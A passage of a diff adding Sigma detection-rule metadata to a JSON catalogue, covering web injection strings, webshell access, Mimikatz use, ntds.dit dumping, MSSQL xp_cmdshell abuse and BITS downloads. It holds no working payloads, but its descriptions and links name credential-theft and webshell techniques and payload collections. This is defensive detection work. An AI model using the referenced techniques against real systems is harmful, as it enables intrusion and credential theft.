"uuid": "5513deaf-f49a-46c2-a6c8-3f111b5cb453", + "value": "SQL Injection Strings" + }, + { + "description": "Detects SSTI attempts sent via GET requests in access logs", + "meta": { + "author": "Nasreddine Bencherchali", + "creation_date": "2022/06/14", + "falsepositive": [ + "User searches in search boxes of the respective website", + "Internal vulnerability scanners can cause some serious FPs when used, if you experience a lot of FPs due to this think of adding more filters such as \"User Agent\" strings and more response codes" + ], + "filename": "web_ssti_in_access_logs.yml", + "level": "high", + "logsource.category": "webserver", + "logsource.product": "No established product", + "refs": [ + "https://book.hacktricks.xyz/pentesting-web/ssti-server-side-template-injection", + "https://github.com/payloadbox/ssti-payloads", + "https://github.com/SigmaHQ/sigma/tree/master/rules/web/web_ssti_in_access_logs.yml" + ], + "tags": "No established tags" + }, + "uuid": "ada3bc4f-f0fd-42b9-ba91-e105e8af7342", + "value": "Server Side Template Injection Strings" + }, + { + "description": "Detects known suspicious (default) user-agents related to scanning/recon tools", + "meta": { + "author": "Nasreddine Bencherchali, Tim Shelton", + "creation_date": "2022/07/19", + "falsepositive": [ + "Unknown" + ], + "filename": "web_susp_useragents.yml", + "level": "medium", + "logsource.category": "webserver", + "logsource.product": "No established product", + "refs": [ + "https://github.com/wpscanteam/wpscan/blob/196fbab5b1ce3870a43515153d4f07878a89d410/lib/wpscan/browser.rb", + "https://github.com/xmendez/wfuzz/blob/1b695ee9a87d66a7d7bf6cae70d60a33fae51541/docs/user/basicusage.rst", + "https://github.com/lanmaster53/recon-ng/blob/9e907dfe09fce2997f0301d746796408e01a60b7/recon/core/base.py#L92", + "https://github.com/SigmaHQ/sigma/tree/master/rules/web/web_susp_useragents.yml" + ], + "tags": [ + "attack.initial_access", + "attack.t1190" + ] + }, + "uuid": "19aa4f58-94ca-45ff-bc34-92e533c0994a", + "value": "Suspicious User-Agents Related To Recon Tools" + }, + { + "description": "Detects suspicious windows strins in URI which could indicate possible exfiltration or webshell communication", + "meta": { + "author": "Nasreddine Bencherchali", + "creation_date": "2022/06/06", + "falsepositive": [ + "Legitimate application and websites that use windows paths in their URL" + ], + "filename": "web_susp_windows_path_uri.yml", + "level": "high", + "logsource.category": "webserver", + "logsource.product": "No established product", + "refs": [ + "https://thedfirreport.com/2022/06/06/will-the-real-msiexec-please-stand-up-exploit-leads-to-data-exfiltration/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/web/web_susp_windows_path_uri.yml" + ], + "tags": [ + "attack.persistence", + "attack.exfiltration", + "attack.t1505.003" + ] + }, + "uuid": "9f6a34b4-2688-4eb7-a7f5-e39fef573d0e", + "value": "Suspicious Windows Strings In URI" + }, + { + "description": "Detects access to DEWMODE webshell as described in FIREEYE report", + "meta": { + "author": "Florian Roth", + "creation_date": "2021/02/22", + "falsepositive": [ + "Unknown" + ], + "filename": "web_unc2546_dewmode_php_webshell.yml", + "level": "high", + "logsource.category": "webserver", + "logsource.product": "No established product", + "refs": [ + "https://www.fireeye.com/blog/threat-research/2021/02/accellion-fta-exploited-for-data-theft-and-extortion.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/web/web_unc2546_dewmode_php_webshell.yml" + ], + "tags": [ + "attack.persistence", + "attack.t1505.003" + ] + }, + "uuid": "fdf96c90-42d5-4406-8a9c-14a2c9a016b5", + "value": "DEWMODE Webshell Access" + }, + { + "description": "Certain strings in the uri_query field when combined with null referer and null user agent can indicate activity associated with the webshell ReGeorg.", + "meta": { + "author": "Cian Heasley", + "creation_date": "2020/08/04", + "falsepositive": [ + "Web applications that use the same URL parameters as ReGeorg" + ], + "filename": "web_webshell_regeorg.yml", + "level": "high", + "logsource.category": "webserver", + "logsource.product": "No established product", + "refs": [ + "https://community.rsa.com/community/products/netwitness/blog/2019/02/19/web-shells-and-netwitness-part-3", + "https://github.com/sensepost/reGeorg", + "https://github.com/SigmaHQ/sigma/tree/master/rules/web/web_webshell_regeorg.yml" + ], + "tags": [ + "attack.persistence", + "attack.t1505.003" + ] + }, + "uuid": "2ea44a60-cfda-11ea-87d0-0242ac130003", + "value": "Webshell ReGeorg Detection Via Web Logs" + }, + { + "description": "Detects Windows Webshells that use GET requests via access logs", + "meta": { + "author": "Florian Roth, Nasreddine Bencherchali", + "creation_date": "2017/02/19", + "falsepositive": [ + "Web sites like wikis with articles on os commands and pages that include the os commands in the URLs", + "User searches in search boxes of the respective website" + ], + "filename": "web_win_webshells_in_access_logs.yml", + "level": "high", + "logsource.category": "webserver", + "logsource.product": "No established product", + "refs": [ + "https://bad-jubies.github.io/RCE-NOW-WHAT/", + "https://m365internals.com/2022/10/07/hunting-in-on-premises-exchange-server-logs/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/web/web_win_webshells_in_access_logs.yml" + ], + "tags": [ + "attack.persistence", + "attack.t1505.003" + ] + }, + "uuid": "7ff9db12-1b94-4a79-ba68-a2402c5d6729", + "value": "Windows Webshell Strings" + }, + { + "description": "Detects XSS attempts injected via GET requests in access logs", + "meta": { + "author": "Saw Win Naung, Nasreddine Bencherchali", + "creation_date": "2021/08/15", + "falsepositive": [ + "JavaScripts,CSS Files and PNG files", + "User searches in search boxes of the respective website", + "Internal vulnerability scanners can cause some serious FPs when used, if you experience a lot of FPs due to this think of adding more filters such as \"User Agent\" strings and more response codes" + ], + "filename": "web_xss_in_access_logs.yml", + "level": "high", + "logsource.category": "webserver", + "logsource.product": "No established product", + "refs": [ + "https://github.com/payloadbox/xss-payload-list", + "https://portswigger.net/web-security/cross-site-scripting/contexts", + "https://github.com/SigmaHQ/sigma/tree/master/rules/web/web_xss_in_access_logs.yml" + ], + "tags": "No established tags" + }, + "uuid": "65354b83-a2ea-4ea6-8414-3ab38be0d409", + "value": "Cross Site Scripting Strings" + }, + { + "description": "This method detects mimikatz keywords in different Eventlogs (some of them only appear in older Mimikatz version that are however still used by different threat groups)", + "meta": { + "author": "Florian Roth (rule), David ANDRE (additional keywords)", + "creation_date": "2017/01/10", + "falsepositive": [ + "Naughty administrators", + "AV Signature updates", + "Files with Mimikatz in their filename" + ], + "filename": "win_alert_mimikatz_keywords.yml", + "level": "high", + "logsource.category": "No established category", + "logsource.product": "windows", + "refs": [ + "https://tools.thehacker.recipes/mimikatz/modules", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/win_alert_mimikatz_keywords.yml" + ], + "tags": [ + "attack.s0002", + "attack.lateral_movement", + "attack.credential_access", + "car.2013-07-001", + "car.2019-04-004", + "attack.t1003.002", + "attack.t1003.004", + "attack.t1003.001", + "attack.t1003.006" + ] + }, + "uuid": "06d71506-7beb-4f22-8888-e2e5e2ca7fd8", + "value": "Mimikatz Use" + }, + { + "description": "Detects events generated by user-mode applications when they call the CveEventWrite API when a known vulnerability is trying to be exploited.\nMS started using this log in Jan. 2020 with CVE-2020-0601 (a Windows CryptoAPI vulnerability.\nUnfortunately, that is about the only instance of CVEs being written to this log.\n", + "meta": { + "author": "Florian Roth, Zach Mathis", + "creation_date": "2020/01/15", + "falsepositive": [ + "Unknown" + ], + "filename": "win_audit_cve.yml", + "level": "critical", + "logsource.category": "No established category", + "logsource.product": "windows", + "refs": [ + "https://twitter.com/VM_vivisector/status/1217190929330655232", + "https://twitter.com/DidierStevens/status/1217533958096924676", + "https://twitter.com/FlemmingRiis/status/1217147415482060800", + "https://www.youtube.com/watch?v=ebmW42YYveI", + "https://nullsec.us/windows-event-log-audit-cve/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/application/win_audit_cve.yml" + ], + "tags": [ + "attack.execution", + "attack.t1203", + "attack.privilege_escalation", + "attack.t1068", + "attack.defense_evasion", + "attack.t1211", + "attack.credential_access", + "attack.t1212", + "attack.lateral_movement", + "attack.t1210", + "attack.impact", + "attack.t1499.004" + ] + }, + "uuid": "48d91a3a-2363-43ba-a456-ca71ac3da5c2", + "value": "Audit CVE Event" + }, + { + "description": "This detection method points out highly relevant Antivirus events", + "meta": { + "author": "Florian Roth, Arnim Rupp", + "creation_date": "2017/02/19", + "falsepositive": [ + "Some software piracy tools (key generators, cracks) are classified as hack tools" + ], + "filename": "win_av_relevant_match.yml", + "level": "high", + "logsource.category": "No established category", + "logsource.product": "windows", + "refs": [ + "https://www.virustotal.com/gui/file/13828b390d5f58b002e808c2c4f02fdd920e236cc8015480fa33b6c1a9300e31", + "https://www.virustotal.com/gui/file/15b57c1b68cd6ce3c161042e0f3be9f32d78151fe95461eedc59a79fc222c7ed", + "https://www.virustotal.com/gui/file/5092b2672b4cb87a8dd1c2e6047b487b95995ad8ed5e9fc217f46b8bfb1b8c01", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/application/win_av_relevant_match.yml" + ], + "tags": [ + "attack.resource_development", + "attack.t1588" + ] + }, + "uuid": "78bc5783-81d9-4d73-ac97-59f6db4f72a8", + "value": "Relevant Anti-Virus Event" + }, + { + "description": "An application has been removed. Check if it is critical.", + "meta": { + "author": "frack113", + "creation_date": "2022/01/28", + "falsepositive": [ + "Unknown" + ], + "filename": "win_builtin_remove_application.yml", + "level": "low", + "logsource.category": "No established category", + "logsource.product": "windows", + "refs": [ + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/application/win_builtin_remove_application.yml" + ], + "tags": [ + "attack.impact", + "attack.t1489" + ] + }, + "uuid": "570ae5ec-33dc-427c-b815-db86228ad43e", + "value": "Application Uninstalled" + }, + { + "description": "Detects potential abuse of ntdsutil to dump ntds.dit database", + "meta": { + "author": "Nasreddine Bencherchali", + "creation_date": "2022/08/14", + "falsepositive": [ + "Legitimate backup operation/creating shadow copies" + ], + "filename": "win_esent_ntdsutil_abuse.yml", + "level": "medium", + "logsource.category": "No established category", + "logsource.product": "windows", + "refs": [ + "https://twitter.com/mgreen27/status/1558223256704122882", + "https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/jj574207(v=ws.11)", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/application/win_esent_ntdsutil_abuse.yml" + ], + "tags": [ + "attack.execution" + ] + }, + "uuid": "e6e88853-5f20-4c4a-8d26-cd469fd8d31f", + "value": "Ntdsutil Abuse" + }, + { + "description": "Detects potential abuse of ntdsutil to dump ntds.dit database to a suspicious location", + "meta": { + "author": "Nasreddine Bencherchali", + "creation_date": "2022/08/14", + "falsepositive": [ + "Legitimate backup operation/creating shadow copies" + ], + "filename": "win_esent_ntdsutil_abuse_susp_location.yml", + "level": "medium", + "logsource.category": "No established category", + "logsource.product": "windows", + "refs": [ + "https://twitter.com/mgreen27/status/1558223256704122882", + "https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/jj574207(v=ws.11)", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/application/win_esent_ntdsutil_abuse_susp_location.yml" + ], + "tags": [ + "attack.execution" + ] + }, + "uuid": "94dc4390-6b7c-4784-8ffc-335334404650", + "value": "Dump Ntds.dit To Suspicious Location" + }, + { + "description": "Detects MSI package installation from suspicious locations", + "meta": { + "author": "Nasreddine Bencherchali", + "creation_date": "2022/08/31", + "falsepositive": [ + "Some false positives may occur depending on the environnement" + ], + "filename": "win_msi_install_from_susp_locations.yml", + "level": "medium", + "logsource.category": "No established category", + "logsource.product": "windows", + "refs": [ + "https://www.trendmicro.com/en_us/research/22/h/ransomware-actor-abuses-genshin-impact-anti-cheat-driver-to-kill-antivirus.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/application/win_msi_install_from_susp_locations.yml" + ], + "tags": [ + "attack.execution" + ] + }, + "uuid": "c7c8aa1c-5aff-408e-828b-998e3620b341", + "value": "MSI Installation From Suspicious Locations" + }, + { + "description": "Detects installation of a remote msi file from web.", + "meta": { + "author": "Stamatis Chatzimangou", + "creation_date": "2022/10/23", + "falsepositive": [ + "Unknown" + ], + "filename": "win_msi_install_from_web.yml", + "level": "medium", + "logsource.category": "No established category", + "logsource.product": "windows", + "refs": [ + "https://twitter.com/_st0pp3r_/status/1583922009842802689", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/application/win_msi_install_from_web.yml" + ], + "tags": [ + "attack.execution", + "attack.t1218", + "attack.t1218.007" + ] + }, + "uuid": "5594e67a-7f92-4a04-b65d-1a42fd824a60", + "value": "MSI Installation From Web" + }, + { + "description": "Detects when an attacker tries to backdoor the MSSQL server by adding a backdoor account to the sysadmin fixed server role", + "meta": { + "author": "Nasreddine Bencherchali", + "creation_date": "2022/07/13", + "falsepositive": [ + "Rare legitimate administrative activity" + ], + "filename": "win_mssql_add_sysadmin_account.yml", + "level": "high", + "logsource.category": "No established category", + "logsource.product": "windows", + "refs": [ + "https://www.netspi.com/blog/technical/network-penetration-testing/sql-server-persistence-part-1-startup-stored-procedures/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/application/win_mssql_add_sysadmin_account.yml" + ], + "tags": [ + "attack.persistence" + ] + }, + "uuid": "08200f85-2678-463e-9c32-88dce2f073d1", + "value": "MSSQL Add Account To Sysadmin Role" + }, + { + "description": "Detects when an attacker calls the \"ALTER SERVER AUDIT\" or \"DROP SERVER AUDIT\" transaction in order to delete or disable audit logs on the server", + "meta": { + "author": "Nasreddine Bencherchali", + "creation_date": "2022/07/13", + "falsepositive": [ + "This event should only fire when an administrator is modifying the audit policy. Which should be a rare occurrence once it's set up" + ], + "filename": "win_mssql_disable_audit_settings.yml", + "level": "high", + "logsource.category": "No established category", + "logsource.product": "windows", + "refs": [ + "https://www.netspi.com/blog/technical/network-penetration-testing/sql-server-persistence-part-1-startup-stored-procedures/", + "https://docs.microsoft.com/en-us/sql/t-sql/statements/drop-server-audit-transact-sql?view=sql-server-ver16", + "https://docs.microsoft.com/en-us/sql/t-sql/statements/alter-server-audit-transact-sql?view=sql-server-ver16", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/application/win_mssql_disable_audit_settings.yml" + ], + "tags": [ + "attack.defense_evasion" + ] + }, + "uuid": "350dfb37-3706-4cdc-9e2e-5e24bc3a46df", + "value": "MSSQL Disable Audit Settings" + }, + { + "description": "This rule detects the execution of the extended storage procedure backdoor named Maggie in the context of Microsoft SQL server", + "meta": { + "author": "Denis Szadkowski, DIRT / DCSO CyTec", + "creation_date": "2022/10/09", + "falsepositive": [ + "Legitimate extended stored procedures named maggie" + ], + "filename": "win_mssql_sp_maggie.yml", + "level": "high", + "logsource.category": "No established category", + "logsource.product": "windows", + "refs": [ + "https://medium.com/@DCSO_CyTec/mssql-meet-maggie-898773df3b01", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/application/win_mssql_sp_maggie.yml" + ], + "tags": [ + "attack.persistence", + "attack.t1546" + ] + }, + "uuid": "711ab2fe-c9ba-4746-8840-5228a58c3cb8", + "value": "MSSQL Extended Stored Procedure Backdoor Maggie" + }, + { + "description": "Detects when the a stored procedure is set or cleared for automatic execution in MSSQL. A stored procedure that is set to automatic execution runs every time an instance of SQL Server is started", + "meta": { + "author": "Nasreddine Bencherchali", + "creation_date": "2022/07/13", + "falsepositive": [ + "Legitimate use of the feature by administrators (rare)" + ], + "filename": "win_mssql_sp_procoption_set.yml", + "level": "high", + "logsource.category": "No established category", + "logsource.product": "windows", + "refs": [ + "https://www.netspi.com/blog/technical/network-penetration-testing/sql-server-persistence-part-1-startup-stored-procedures/", + "https://docs.microsoft.com/en-us/sql/relational-databases/system-stored-procedures/sp-procoption-transact-sql?view=sql-server-ver16", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/application/win_mssql_sp_procoption_set.yml" + ], + "tags": [ + "attack.persistence" + ] + }, + "uuid": "b3d57a5c-c92e-4b48-9a79-5f124b7cf964", + "value": "MSSQL SPProcoption Set" + }, + { + "description": "Detects when the MSSQL \"xp_cmdshell\" stored procedure is used to execute commands", + "meta": { + "author": "Nasreddine Bencherchali", + "creation_date": "2022/07/12", + "falsepositive": [ + "Unknown" + ], + "filename": "win_mssql_xp_cmdshell_audit_log.yml", + "level": "high", + "logsource.category": "No established category", + "logsource.product": "windows", + "refs": [ + "https://www.netspi.com/blog/technical/network-penetration-testing/sql-server-persistence-part-1-startup-stored-procedures/", + "https://thedfirreport.com/2022/07/11/select-xmrig-from-sqlserver/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/application/win_mssql_xp_cmdshell_audit_log.yml" + ], + "tags": [ + "attack.execution" + ] + }, + "uuid": "7f103213-a04e-4d59-8261-213dddf22314", + "value": "MSSQL XPCmdshell Suspicious Execution" + }, + { + "description": "Detects when the MSSQL \"xp_cmdshell\" stored procedure setting is changed", + "meta": { + "author": "Nasreddine Bencherchali", + "creation_date": "2022/07/12", + "falsepositive": [ + "Legitimate enable/disable of the setting", + "Note that since the event contain the change for both values. This means that this will trigger on both enable and disable" + ], + "filename": "win_mssql_xp_cmdshell_change.yml", + "level": "high", + "logsource.category": "No established category", + "logsource.product": "windows", + "refs": [ + "https://www.netspi.com/blog/technical/network-penetration-testing/sql-server-persistence-part-1-startup-stored-procedures/", + "https://thedfirreport.com/2022/07/11/select-xmrig-from-sqlserver/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/application/win_mssql_xp_cmdshell_change.yml" + ], + "tags": [ + "attack.execution" + ] + }, + "uuid": "d08dd86f-681e-4a00-a92c-1db218754417", + "value": "MSSQL XPCmdshell Option Change" + }, + { + "description": "Detects successful installation of Atera Remote Monitoring & Management (RMM) agent as recently found to be used by Conti operators", + "meta": { + "author": "Bhabesh Raj", + "creation_date": "2021/09/01", + "falsepositive": [ + "Legitimate Atera agent installation" + ], + "filename": "win_software_atera_rmm_agent_install.yml", + "level": "high", + "logsource.category": "No established category", + "logsource.product": "windows", + "refs": [ + "https://www.advintel.io/post/secret-backdoor-behind-conti-ransomware-operation-introducing-atera-agent", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/application/win_software_atera_rmm_agent_install.yml" + ], + "tags": [ + "attack.t1219" + ] + }, + "uuid": "87261fb2-69d0-42fe-b9de-88c6b5f65a43", + "value": "Atera Agent Installation" + }, + { + "description": "Detects backup catalog deletions", + "meta": { + "author": "Florian Roth (rule), Tom U. @c_APT_ure (collection)", + "creation_date": "2017/05/12", + "falsepositive": [ + "Unknown" + ], + "filename": "win_susp_backup_delete.yml", + "level": "medium", + "logsource.category": "No established category", + "logsource.product": "windows", + "refs": [ + "https://technet.microsoft.com/en-us/library/cc742154(v=ws.11).aspx", + "https://www.hybrid-analysis.com/sample/ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa?environmentId=100", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/application/win_susp_backup_delete.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1070.004" + ] + }, + "uuid": "9703792d-fd9a-456d-a672-ff92efe4806a", + "value": "Backup Catalog Deleted" + }, + { + "description": "This rule detects a suspicious crash of the Microsoft Malware Protection Engine", + "meta": { + "author": "Florian Roth", + "creation_date": "2017/05/09", + "falsepositive": [ + "MsMpEng.exe can crash when C:\\ is full" + ], + "filename": "win_susp_msmpeng_crash.yml", + "level": "high", + "logsource.category": "No established category", + "logsource.product": "windows", + "refs": [ + "https://bugs.chromium.org/p/project-zero/issues/detail?id=1252&desc=5", + "https://technet.microsoft.com/en-us/library/security/4022344", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/application/win_susp_msmpeng_crash.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1211", + "attack.t1562.001" + ] + }, + "uuid": "6c82cf5c-090d-4d57-9188-533577631108", + "value": "Microsoft Malware Protection Engine Crash" + }, + { + "description": "Detects the exploitation of Microsoft Exchange vulnerability as described in CVE-2020-0688", + "meta": { + "author": "Florian Roth, wagga", + "creation_date": "2020/02/29", + "falsepositive": [ + "Unknown" + ], + "filename": "win_vul_cve_2020_0688.yml", + "level": "high", + "logsource.category": "No established category", + "logsource.product": "windows", + "refs": [ + "https://www.trustedsec.com/blog/detecting-cve-20200688-remote-code-execution-vulnerability-on-microsoft-exchange-server/", + "https://cyberpolygon.com/materials/okhota-na-ataki-ms-exchange-chast-2-cve-2020-0688-cve-2020-16875-cve-2021-24085/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/application/win_vul_cve_2020_0688.yml" + ], + "tags": [ + "attack.initial_access", + "attack.t1190" + ] + }, + "uuid": "d6266bf5-935e-4661-b477-78772735a7cb", + "value": "CVE-2020-0688 Exploitation via Eventlog" + }, + { + "description": "Detects PoC tool used to exploit LPE vulnerability CVE-2021-41379", + "meta": { + "author": "Florian Roth", + "creation_date": "2021/11/22", + "falsepositive": [ + "Other MSI packages for which your admins have used that name" + ], + "filename": "win_vul_cve_2021_41379.yml", + "level": "high", + "logsource.category": "No established category", + "logsource.product": "windows", + "refs": [ + "https://github.com/klinix5/InstallerFileTakeOver", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/application/win_vul_cve_2021_41379.yml" + ], + "tags": [ + "attack.initial_access", + "attack.t1190" + ] + }, + "uuid": "7dbb86de-a0cc-494c-8aa8-b2996c9ef3c8", + "value": "LPE InstallerFileTakeOver PoC CVE-2021-41379" + }, + { + "description": "Detect run not allowed files. Applocker is a very useful tool, especially on servers where unprivileged users have access. For example terminal servers. You need configure applocker and log collect to receive these events.", + "meta": { + "author": "Pushkarev Dmitry", + "creation_date": "2020/06/28", + "falsepositive": [ + "Need tuning applocker or add exceptions in SIEM" + ], + "filename": "win_applocker_file_was_not_allowed_to_run.yml", + "level": "medium", + "logsource.category": "No established category", + "logsource.product": "windows", + "refs": [ + "https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/applocker/what-is-applocker", + "https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/applocker/using-event-viewer-with-applocker", + "https://nxlog.co/documentation/nxlog-user-guide/applocker.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/applocker/win_applocker_file_was_not_allowed_to_run.yml" + ], + "tags": [ + "attack.execution", + "attack.t1204.002", + "attack.t1059.001", + "attack.t1059.003", + "attack.t1059.005", + "attack.t1059.006", + "attack.t1059.007" + ] + }, + "uuid": "401e5d00-b944-11ea-8f9a-00163ecd60ae", + "value": "File Was Not Allowed To Run" + }, + { + "description": "Detects a suspicious download using the BITS client from a FQDN that is unusual. Adversaries may abuse BITS jobs to persistently execute or clean up after malicious payloads.", + "meta": { + "author": "Florian Roth", + "creation_date": "2022/06/28", + "falsepositive": [ + "Unknown" + ], + "filename": "win_bits_client_susp_domain.yml", + "level": "high", + "logsource.category": "No established category", + "logsource.product": "windows", + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1197/T1197.md", + "https://twitter.com/malmoeb/status/1535142803075960832", + "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/ransomware-hive-conti-avoslocker", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/bits_client/win_bits_client_susp_domain.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.persistence", + "attack.t1197" + ] + }, + "uuid": "d635249d-86b5-4dad-a8c7-d7272b788586", + "value": "Suspicious Download with BITS from Suspicious TLD" + }, + { + "description": "Adversaries may abuse BITS jobs to persistently execute or clean up after malicious payloads.\nWindows Background Intelligent Transfer Service (BITS) is a low-bandwidth, asynchronous file transfer mechanism exposed through [Component Object Model](https://attack.mitre.org/techniques/T1559/001)\n", + "meta": { + "author": "frack113", + "creation_date": "2022/03/01", + "falsepositive": [ + "Administrator PowerShell scripts" + ], + "filename": "win_bits_client_susp_local_file.yml", + "level": "medium", + "logsource.category": "No established category", + "logsource.product": "windows", + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1197/T1197.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/bits_client/win_bits_client_susp_local_file.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.persistence", + "attack.t1197" + ] + }, + "uuid": "b85e5894-9b19-4d86-8c87-a2f3b81f0521", + "value": "Suspicious Download File Extension with BITS" + }, + { + "description": "Adversaries may abuse BITS jobs to persistently execute or clean up after malicious payloads.\nWindows Background Intelligent Transfer Service (BITS) is a low-bandwidth, asynchronous file transfer mechanism exposed through [Component Object Model](https://attack.mitre.org/techniques/T1559/001)\n", + "meta": { + "author": "Florian Roth", + "creation_date": "2022/06/28", + "falsepositive": [ + "Administrator PowerShell scripts" + ], + "filename": "win_bits_client_susp_local_folder.yml", + "level": "high", + "logsource.category": "No established category", + "logsource.product": "windows", + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1197/T1197.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/bits_client/win_bits_client_susp_local_folder.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.persistence", + "attack.t1197" + ] + }, + "uuid": "f8a56cb7-a363-44ed-a82f-5926bb44cd05", + "value": "Download with BITS to Suspicious Folder" + }, + { + "description": "Adversaries may abuse BITS jobs to persistently execute or clean up after malicious payloads.\nWindows Background Intelligent Transfer Service (BITS) is a low-bandwidth, asynchronous file transfer mechanism exposed through [Component Object Model](https://attack.mitre.org/techniques/T1559/001)\n", + "meta": { + "author": "frack113", + "creation_date": "2022/03/01", + "falsepositive": [ + "Administrator PowerShell scripts" + ], + "filename": "win_bits_client_susp_powershell_job.yml", + "level": "low", + "logsource.category": "No established category", + "logsource.product": "windows", + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1197/T1197.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/bits_client/win_bits_client_susp_powershell_job.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.persistence", + "attack.t1197" + ] + }, + "uuid": "fe3a2d49-f255-4d10-935c-bda7391108eb", + "value": "Suspicious Task Added by Powershell" + }, + { + "description": "Adversaries may abuse BITS jobs to persistently execute or clean up after malicious payloads.\nWindows Background Intelligent Transfer Service (BITS) is a low-bandwidth, asynchronous file transfer mechanism exposed through [Component Object Model](https://attack.mitre.org/techniques/T1559/001)\n", + "meta": { + "author": "frack113", + "creation_date": "2022/03/01", + "falsepositive": [ + "Administrator PowerShell scripts" + ], + "filename": "win_bits_client_susp_use_bitsadmin.yml", + "level": "low", + "logsource.category": "No established category", + "logsource.product": "windows", + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1197/T1197.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/bits_client/win_bits_client_susp_use_bitsadmin.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.persistence", + "attack.t1197" + ] + }, + "uuid": "1ff315dc-2a3a-4b71-8dde-873818d25d39", + "value": "Suspicious Task Added by Bitsadmin" + }, + { + "description": "Detects a suspicious download using the BITS client from a FQDN that is unusual. Adversaries may abuse BITS jobs to persistently execute or clean up after malicious payloads.", + "meta": { + "author": "Florian Roth", + "creation_date": "2022/06/10", + "falsepositive": [ + "Other legitimate domains used by software updaters" + ], + "filename": "win_bits_client_uncommon_domain.yml", + "level": "medium", + "logsource.category": "No established category", + "logsource.product": "windows", + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1197/T1197.md", + "https://twitter.com/malmoeb/status/1535142803075960832", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/bits_client/win_bits_client_uncommon_domain.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.persistence", + "attack.t1197" + ] + }, + "uuid": "6d44fb93-e7d2-475c-9d3d-54c9c1e33427", + "value": "Suspicious Download with BITS from Suspicious TLD" + }, + { + "description": "Detects attempted DLL load events that didn't meet anti-malware or Windows signing level requirements. It often means the file's signature is revoked or expired", + "meta": { + "author": "Florian Roth, Nasreddine Bencherchali", + "creation_date": "2022/01/20", + "falsepositive": [ + "Unknown" + ], + "filename": "win_codeintegrity_attempted_dll_load.yml", + "level": "high", + "logsource.category": "No established category", + "logsource.product": "windows", + "refs": [ + "https://twitter.com/SBousseaden/status/1483810148602814466", + "https://github.com/MicrosoftDocs/windows-itpro-docs/blob/40fe118976734578f83e5e839b9c63ae7a4af82d/windows/security/threat-protection/windows-defender-application-control/event-id-explanations.md#windows-codeintegrity-operational-log", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/code_integrity/win_codeintegrity_attempted_dll_load.yml" + ], + "tags": [ + "attack.execution" + ] + }, + "uuid": "f8931561-97f5-4c46-907f-0a4a592e47a7", + "value": "Code Integrity Attempted DLL Load" + }, + { + "description": "Detects blocked load attempts of revoked drivers", + "meta": { + "author": "Nasreddine Bencherchali", + "creation_date": "2022/11/10", + "falsepositive": [ + "Unknown" + ], + "filename": "win_codeintegrity_revoked_driver.yml", + "level": "high", + "logsource.category": "No established category", + "logsource.product": "windows", + "refs": [ + "https://twitter.com/wdormann/status/1590434950335320065", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/code_integrity/win_codeintegrity_revoked_driver.yml" + ], + "tags": [ + "attack.privilege_escalation", + "attack.t1543" + ] + }, + "uuid": "9b72b82d-f1c5-4632-b589-187159bc6ec1", + "value": "Block Load Of Revoked Driver" + }, + { + "description": "Detects blocked load events that did not meet the authenticode signing level requirements or violated code integrity policy", + "meta": { + "author": "Nasreddine Bencherchali", + "creation_date": "2022/11/10", + 